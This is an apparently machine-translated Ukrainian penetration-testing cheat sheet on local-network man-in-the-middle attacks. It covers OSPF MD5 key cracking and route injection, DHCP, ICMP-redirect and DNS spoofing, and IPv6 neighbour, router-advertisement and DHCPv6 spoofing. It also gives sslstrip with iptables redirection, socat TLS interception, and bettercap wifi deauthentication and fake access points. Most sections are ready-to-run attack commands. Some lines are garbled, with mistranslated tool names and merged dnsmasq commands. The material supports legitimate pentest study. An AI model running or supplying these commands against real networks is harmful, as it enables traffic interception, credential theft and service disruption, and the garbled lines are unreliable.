FRRouting дозволяє реалізувати віртуальний маршрутизатор, який підтримує BGP, OSPF, EIGRP, RIP та інші протоколи. Все, що вам потрібно зробити, це розгорнути його в системі вашого зловмисника, і ви фактично зможете прикинутися законним маршрутизатором у домені маршрутизації.

Coly має можливості для перехоплення трансляцій EIGRP (Enhanced Interior Gateway Routing Protocol). Це також дозволяє вводити пакети, які можна використовувати для зміни конфігурацій маршрутизації.

OSPF

У протоколі Open Shortest Path First (OSPF) автентифікація MD5 зазвичай використовується для забезпечення безпечного зв’язку між маршрутизаторами . Однак цей захід безпеки може бути скомпрометований за допомогою таких інструментів, як Локі та Джон Різник. Ці інструменти здатні перехоплювати та зламати хеші MD5, відкриваючи ключ автентифікації. Отримавши цей ключ, його можна використовувати для введення нової інформації про маршрутизацію. Щоб налаштувати параметри маршруту та встановити скомпрометований ключ, використовуються вкладки Injection і Connection відповідно.

  • Захоплення та злом хешів MD5: для цієї мети використовуються такі інструменти, як Локі та Джон Різник.

  • Налаштування параметрів маршруту: це робиться на вкладці Injection .

  • Налаштування скомпрометованого ключа: ключ налаштовується на вкладці «Підключення» .

Інші загальні інструменти та джерела

Спуфінг

Зловмисник налаштовує всі параметри мережі (GW, IP, DNS) нового учасника мережі, надсилаючи підроблені відповіді DHCP.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ICMRedirect

Перенаправлення ICMP полягає в надсиланні пакета ICMP типу 1 з кодом 5, який вказує, що зловмисник є найкращим способом отримати доступ до IP-адреси. Тоді, коли жертва захоче зв’язатися з IP-адресою, вона надішле пакет через зловмисника.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

Підробка DNS

Зловмисник розкриє деякі (або всі) домени, які запитує жертва.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Налаштуйте власний DNS за допомогою dnsmasq

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Локальні шлюзи

Часто існує кілька маршрутів до систем і мереж. Після створення списку MAC-адрес у локальній мережі використовуйте gateway-finder.py , щоб визначити хости, які підтримують переадресацію IPv4.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

IPv6 Neighbor Spoofing

Ця атака дуже схожа на ARP Spoofing, але в світі IPv6. Ви можете змусити жертву подумати, що IPv6 GW має MAC-адресу зловмисника.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

Спуфінг/флуд реклами маршрутизатора IPv6

Деякі ОС за замовчуванням налаштовують шлюз з пакетів RA, надісланих у мережі. Щоб оголосити зловмисника маршрутизатором IPv6, ви можете використовувати:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

Підробка IPv6 DHCP

За замовчуванням деякі ОС намагаються налаштувати DNS на читання пакета DHCPv6 у мережі. Тоді зловмисник може надіслати пакет DHCPv6, щоб налаштувати себе як DNS. DHCP також надає IPv6 жертві.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (фальшива сторінка та впровадження коду JS)

Інтернет-атаки

sslStrip

В основному ця атака робить, якщо користувач намагається отримати доступ до сторінки HTTP , яка перенаправляє на версію HTTPS . sslStrip підтримуватиме HTTP -з’єднання з клієнтом і HTTPS -з’єднання з сервером , тому він не зможе прослухати з’єднання у вигляді звичайного тексту .

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Прослуховування TCP у порту

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL прослуховує порт

Генеруйте ключі та самопідписаний сертифікат
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Слухайте за допомогою сертифіката

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Слухайте за допомогою сертифіката та перенаправляйте на хости

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Іноді, якщо клієнт перевіряє, що ЦС є дійсним, ви можете надати сертифікат іншого імені хоста, підписаного ЦС . Інший цікавий тест полягає в тому, щоб надати сертифікат ac для запитуваного імені хоста, але самопідписаний .

Інші речі, які потрібно перевірити, це спробувати підписати сертифікат дійсним сертифікатом, що він не є дійсним ЦС. Або, щоб використати дійсний відкритий ключ, примусово використовувати алгоритм як diffie hellman (який не потребує нічого розшифровувати за допомогою справжнього закритого ключа), і коли клієнт запитує зонд справжнього закритого ключа (наприклад, хеш), надсилати фальшивий зонд і очікуйте, що клієнт цього не перевірить.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events 
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Активні нотатки виявлення

Візьміть до уваги, що коли UDP-пакет надсилається на пристрій, який не має потрібного порту, надсилається ICMP (порт недоступний).

Виявлення ARP

Пакети ARP використовуються для виявлення того, які IP-адреси використовуються в мережі. Комп’ютер має надіслати запит для кожної можливої ​​IP-адреси, і лише ті, які використовуються, відповідатимуть.

mDNS (багатоадресний DNS)

Bettercap надсилає запит MDNS (кожні X мс) із запитом _services_.dns-sd._udp.local. Машина, яка бачить цей пакет, зазвичай відповідає на цей запит. Тоді він шукає лише машинну відповідь на “послуги”.

Інструменти

  • Avahi-browser (–all)

  • Bettercap (net.probe.mdns)

  • Responder

Інші статті по темі
Особиста безпекаПриватність
Читати далі
Основні принципи запобігання парсингу
Запобігання парсингу: Важливість та основні принципи захисту веб-сайтів від автоматизованого видобування даних. Розглянуті безпекові заходи для забезпечення конфіденційності, доступності та ефективності онлайн-ресурсів
393
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.